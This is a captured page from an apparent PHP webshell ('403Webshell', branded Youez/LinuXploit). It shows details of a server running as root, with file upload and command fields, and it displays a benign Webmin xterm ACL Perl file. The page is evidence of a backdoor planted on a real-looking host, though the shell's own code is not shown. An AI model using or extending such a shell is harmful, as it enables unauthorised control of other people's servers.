403Webshell
Server IP : 157.22.201.140  /  Your IP : 216.73.216.150
Web Server : nginx/1.30.1
System : Linux mit.vincode.fvds.ru 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/webmin/xterm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/xterm/acl_security.pl
require 'xterm-lib.pl';

# acl_security_form(&options)
# Output HTML for editing security options for the xterm module
sub acl_security_form
{
my ($o) = @_;

print &ui_table_row($text{'acl_user'},
	&ui_opt_textbox("user", $o->{'user'} eq '*' ? undef : $o->{'user'},
			20, $text{'acl_sameuser'}));

print &ui_table_row($text{'acl_sudoenforce'},
	&ui_yesno_radio("sudoenforce",
		$o->{'sudoenforce'} == 1 ? 1 : 0));
}

sub acl_security_save
{
my ($o) = @_;

$o->{'user'} = $in{'user_def'} ? '*' : $in{'user'};
$o->{'sudoenforce'} = $in{'sudoenforce'} ? 1 : 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit